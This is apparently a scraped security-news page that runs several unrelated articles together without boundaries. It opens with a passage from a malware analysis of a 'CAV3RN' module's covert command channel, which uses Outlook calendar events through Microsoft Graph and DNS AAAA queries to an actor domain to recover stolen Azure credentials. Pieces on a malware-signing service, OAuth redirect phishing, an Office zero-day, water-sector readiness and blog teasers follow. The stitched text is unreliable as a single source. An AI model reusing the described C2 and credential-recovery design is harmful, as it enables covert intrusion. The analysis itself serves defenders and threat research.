Boss Report ID: <agent-id>1500
Agent-to-operator command output
Creates an event, uploads encrypted result attachments, and assigns the final subject
Receiving a command
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
Our analysis found a consistent difference in capitalization between command and result attachments:
Attachment name
Direction
Associated subject
file0.txt
Operator to agent
Event ID: <agent-id>
File0.txt
Agent to operator
Boss Report ID: <agent-id>1500
Inbound command decryption
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
Sending command output
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
Heartbeat handling
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
DNS AAAA configuration recovery mechanism
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
Index
Configuration value
0
TenantId
1
ClientId
2
ClientSecret
3
UserEmail
Determining the field length through .p. queries
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
Retrieving configuration data through .q. queries
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
Failure handling and the sentinel AAAA response
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Infrastructure
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
Domain
IP
First seen
ASN
Hosting
ns1.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns2.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns3.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns4.cloudlanecdn[.]com
144.172.108[.]205
May 21, 2026
AS 14956
RouterHosting LLC
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
Attribution
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
Conclusions
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
Microsoft says it dismantled a malware-signing-as-a-service (MSaaS) called Fox Tempest, which helped cybercriminals make malware appear legitimate.
The service let customers submit malicious files to be digitally signed with short-lived Microsoft-issued certificates, making the malware look legitimate and more likely to bypass security checks.
Fox Tempest’s service was built around a customer-facing signing workflow where cybercriminals could upload malicious binaries to a portal, have them signed with certificates valid for only 72 hours, and then receive files that appeared to come from a trusted software source.
Microsoft explicitly says this approach allowed malware to evade security controls and bypass defenses that would otherwise flag suspicious unsigned code. Many security tools treat signed binaries as more trustworthy than unsigned ones, especially in environments that rely on allow-lists and publisher reputation. Fox Tempest abused that assumption by using fraudulently obtained certificates to make malware blend in as legitimate software, increasing the likelihood of execution and successful delivery.
A trusted-looking certificate can help malware get past initial scrutiny, especially when paired with social engineering, paid ads, SEO poisoning, or fake download pages. In this campaign, the signing layer helped malicious installers masquerade as products like AnyDesk, Teams, PuTTY, and Webex, which is exactly the kind of abuse that can slip through control frameworks built around reputation and trust.
The fraudulent certificates were used to spread ransomware and infostealers. The effects of these malware campaigns were broad, with attacks affecting healthcare, education, government, and financial services across multiple countries.
How to stay safe
Microsoft’s disclosure shows how cybercrime has evolved beyond “malware authors” into a service economy where one group specializes in producing trust and others monetize it.
For defenders, the strongest lesson is not to treat code signing as a standalone security control.
For consumers:
Remember to only download software from the official vendor site, the Microsoft Store, or another source you already trust. Avoid download buttons on links sent via social media posts, direct messages or email.
Be skeptical of “sponsored” search results and advertisements for popular apps.
Use an up-to-date, real-time anti-malware solution that looks for malicious behavior rather than just signatures.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Cyber threats to water systems are no longer hypothetical. When attacks succeed, communities can face loss of trust, safety concerns, or service disruptions.
Today, Microsoft, in collaboration with the Cyber Readiness Institute (CRI) and the Center on Cyber Technology and Innovation (CCTI), is releasing a report that examines both the urgency of this challenge and what it will take to close the cyber readiness gap in the water sector. The report draws on a pilot program that provided water and wastewater utilities with practical cybersecurity training paired with hands‑on coaching, testing whether real-world support can meaningfully improve cyber readiness.
The findings point to a clear conclusion: improving cyber resilience in the water sector is achievable when training is paired with hands-on support and delivered through trusted sector partners. Because of the success of this pilot, the program is now a permanent offering, giving water utilities continued access to practical training and support to strengthen cyber resilience and better protect their communities from evolving threats.
Why cyber resilience in the water sector matters now
Water and wastewater utilities underpin public health, economic activity, and community resilience across all critical infrastructure. Yet recent assessments from the U.S. intelligence community and public reporting on cyber incidents underscore how exposed many systems remain. Even larger, well-resourced utilities have experienced cyber incidents, highlighting vulnerabilities that are far more pronounced among smaller operators serving rural and underserved communities.
Awareness of cyber risk is growing, but awareness is not preparedness. The challenge is how to move from growing awareness to sustained, operational readiness, especially for utilities with limited time, funding, and technical capacity.
What the pilot set out to test and what it showed
The CRI pilot was designed to answer a practical question facing the water sector: can accessible, behavior‑focused cybersecurity training paired with hands‑on support meaningfully improve cyber readiness?
Participating utilities used CRI’s free Cyber Readiness Program, which focuses on core cybersecurity practices such as strong authentication, software updates, phishing awareness, and secure data handling. Utilities also had access to CRI Certified Cyber Coaches, who worked directly with designated “Cyber Leaders” inside utilities to help translate training into policies, playbooks, and incident response planning. This model paired accessible training with personalized support to help utilities make meaningful progress despite resource constraints. The pilot revealed three clear findings about what helps and what limits cyber readiness in the water sector.
CRI program improves readiness: Participating utilities reported stronger cybersecurity fundamentals, greater confidence responding to incidents, and the identification of previously undocumented, yet critical, gaps such as missing continuity plans and weak password practices.
Hands-on support accelerates success: Utilities paired with a CRI‑certified coach were significantly more likely to complete the program than those participating on a self‑paced basis.
Demand exceeds capacity: While interest in cybersecurity support is high, staffing shortages, limited funding, and dependence on third-party vendors continue to limit utilities’ ability to fully implement improvements. Participation data helps explain this finding: of the 113 utilities that expressed initial interest, 72 began the program and 43 completed it.
Implications for policymakers and the ecosystem
The findings point to a central takeaway for policymakers and the ecosystem: improving cybersecurity outcomes requires moving beyond sharing information to providing hands-on support that helps utilities implement and sustain change.
Free resources are necessary but not enough: No-cost guidance alone cannot overcome staffing and funding constraints. Effective programs must include implementation support, like cyber coaches, to drive real outcomes.
Incentives increase participation: Tying cybersecurity training to operator licensing or continuing education requirements helps embed cyber readiness into routine professional development.
Trusted messengers drive engagement: Participation and completion were highest when programs were facilitated through established sector associations and networks that utilities already trust.
A path forward through collaboration
The lesson from this pilot is clear: cyber readiness improves when training is paired with hands‑on support and facilitated through trusted partners. But the findings also underscore a broader reality: lasting progress will require moving beyond information sharing toward approaches that build real, sustained capacity building on the ground.
At Microsoft, this work reflects a practical commitment to supporting cyber resilience across critical infrastructure, helping to move from awareness to action. Addressing the challenges identified in this report will require continued collaboration among policymakers, sector associations, nonprofits, and the private sector.
This work also complements Microsoft’s broader commitment to be water positive, including minimizing our water use and replenishing more water than we consume[1][2], by helping strengthen the resilience of the water systems and utilities that serve communities. Supporting practical cyber readiness is one way we can contribute to more resilient water systems for the future.
Attackers are abusing normal OAuth error redirects to send users from a legitimate Microsoft or Google login URL to phishing or malware pages, without ever completing a successful sign‑in or stealing tokens from the OAuth flow itself.
That calls for a bit more explanation.
OAuth (Open Authorization) is an open-standard protocol for delegated authorization. It allows users to grant websites or applications access to their data on another service (for example, Google or Facebook) without sharing their password.
OAuth redirection is the process where an authorization server sends a user’s browser back to an application (client) with an authorization code or token after user authentication.
Researchers found that phishers use silent OAuth authentication flows and intentionally invalid scopes to redirect victims to attacker-controlled infrastructure without stealing tokens.
So, what does this attack look like from a target’s perspective?
From the user’s perspective, the attack chain looks roughly like this:
The email
An email arrives with a plausible business lure. For example, you receive an email about something routine but urgent: document sharing or review, a Social Security or financial notice, an HR or employee report, a Teams meeting invite, or a password reset.
The email body contains a link such as “View document” or “Review report,” or a PDF attachment that includes a link instead.
The link
You click the link after seeing that it appears to be a normal Microsoft or Google login. The visible URL (what you see when you hover over it) looks convincing, starting with a trusted domain like https://login.microsoftonline.com/ or https://accounts.google.com/.
There is no obvious sign that the parameters (prompt=none, odd or empty scope, encoded state) are abnormal.
Silent OAuth
The crafted URL attempts a silent OAuth authorization (prompt=none) and uses parameters that are guaranteed to fail (for example, an invalid or missing scope).
The identity provider evaluates your session and conditional access, determines the request cannot succeed silently, and returns an OAuth error, such as interaction_required, access_denied, or consent_required.
The redirect
By design, the OAuth server then redirects your browser, including the error parameters and state, to the app’s registered redirect URI, which in these cases is the attacker’s domain.
To the user, this is just a quick flash of a Microsoft or Google URL followed by another page. It’s unlikely anyone would notice the errors in the query string.
Landing page
The target gets redirected to a page that looks like a legitimate login or business site. This could very well be a clone of a trusted brand’s site.
From here, there are two possible malicious scenarios:
Phishing / Attacker in the Middle (AitM) variant
A normal login page or a verification prompt, sometimes with CAPTCHAs or interstitials to look more trustworthy and bypass some controls.
The email address may already be filled in because the attackers passed it through the state parameter.
When the user enters credentials and multi-factor authentication (MFA), the attacker‑in‑the‑middle toolkit intercepts them, including session cookies, while passing them along so the experience feels legitimate.
Malware delivery variant
Immediately (or after a brief intermediate page), the browser hits a download path and automatically downloads a file.
The context of the page matches the lure (“Download the secure document,” “Meeting resources,” and so on), making it seem reasonable to open the file.
The target might notice the initial file open or some system slowdown, but otherwise the compromise is practically invisible.
Potential impact
By harvesting credentials or planting a backdoor, the attacker now has a foothold on the system. From there, they may carry out hands-on-keyboard activity, move laterally, steal data, or stage ransomware, depending on their goals.
The harvested credentials and tokens can be used to access email, cloud apps, or other resources without the need to keep malware on the device.
How to stay safe
Since the attacker does not need your token from this flow (only the redirect into their own infrastructure), the OAuth request itself may look less suspicious. Be vigilant and follow our advice:
If you rely on hovering over links, be extra cautious when you see very long URLs with oauth2, authorize, and lots of encoded text, especially if they come from outside your organization.
Even if the start of the URL looks legitimate, verify with a trusted sender before clicking the link.
If something urgent arrives by email and immediately forces you through a strange login or starts a download you did not expect, assume it is malicious until proven otherwise.
If you are redirected somewhere unfamiliar, stop and close the tab.
Be very wary of files that download immediately after clicking a link in an email, especially from /download/ paths.
If a site says you must “run” or “enable” something to view a secure document, close it and double-check which site you’re currently on. It might be up to something.
Keep your OS, browser, and your favorite security tools up to date. They can block many known phishing kits and malware downloads automatically.
Pro tip: use Malwarebytes Scam Guard to help you determine whether the email you received is a scam or not.
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
Microsoft issued an emergency patch for a high-severity zero-day vulnerability in Office that allows attackers to bypass document security checks and is being exploited in the wild via malicious files.
Microsoft pushed the emergency patch for the zero‑day, tracked as CVE-2026-21509, and classified it as a “Microsoft Office Security Feature Bypass Vulnerability” with a CVSS score of 7.8 out of 10.
The flaw allows attackers to bypass Object Linking and Embedding (OLE) mitigations that are designed to block unsafe COM/OLE controls inside Office documents. This means a malicious attachment could infect a PC despite built-in protections.
In a real-life scenario, an attacker creates a fake Word, Excel, or PowerPoint file containing hidden “mini‑programs” or special objects. They can run code and do other things on the affected computer. Normally, Office has safety checks that would block those mini-programs because they’re risky.
However, the vulnerability allows the attacker to tweak the file’s structure and hidden information in a way that tricks Office into thinking the dangerous mini‑program inside the document is harmless. As a result, Office skips the usual security checks and allows the hidden code to run.
As code to test the bypass is publicly available, increasing the risk of exploitation, users are under urgent advice to apply the patch.
Updating Microsoft 365 and Office
How to protect your system
What you need to do depends on which version of Office you’re using.
The affected products include Microsoft Office 2016, 2019, LTSC 2021, LTSC 2024, and Microsoft 365 Apps (both 32‑bit and 64‑bit).
Office 2021 and later are protected via a server‑side change once Office is restarted. To apply it, close all Office apps and restart them.
Office 2016 and 2019 require a manual update. Run Windows Update with the option to update other Microsoft products turned on.
If you’re running build 16.0.10417.20095 or higher, no action is required. You can check your build number by opening any Office app, going to your account page, and selecting About for whichever application you have open. Make sure the build number at the top reads 16.0.10417.20095 or higher.
What always helps:
Don’t open unsolicited attachments without verifying them with a trusted sender.
Treat all unexpected documents, especially those asking to “enable content” or “enable editing,” as suspicious.
Keep macros disabled by default and only allow signed macros from trusted publishers.
rvrsh3ll // Introduction This blog post is intended to give a light overview of device codes, access tokens, and refresh tokens. Here, I focus on the technical how-to for standing […]
Sally Vandeven // We have all heard people talk about how much cooler Linux is than Windows, so much easier to use, etc. Well, they are not necessarily wrong… but we […]
Sally Vandeven & David Fletcher // This is the podcast version of Sally & David’s webcast. For the whole webcast see our webcast post. Links that are mentioned in this […]
David Fletcher & Sally Vandeven// Join David “Fletch” and Sally as they explore the cornucopia of wonderful, free tools in the SysInternals Suite that conveniently are signed by Microsoft and […]
Carrie Roberts* // Can you think of a reason why you might want to put a lengthy comment into the properties of an MS Office document? If you can, then […]
Jordan Drysdale & Kent Ickler // In this webcast, we demonstrate some standard methodologies utilized during an internal network review. We also discuss various tools used to test network defenses […]
Beau Bullock // Overview Microsoft Exchange users have the power to grant other users various levels of access to their mailbox folders. For example, a user can grant other users […]
Ethan Robish // In my last two posts I showed how to insert tracking bugs in both .docx (Part 1) and .xlsx files (Part 2). But don’t let all that effort go […]
Login
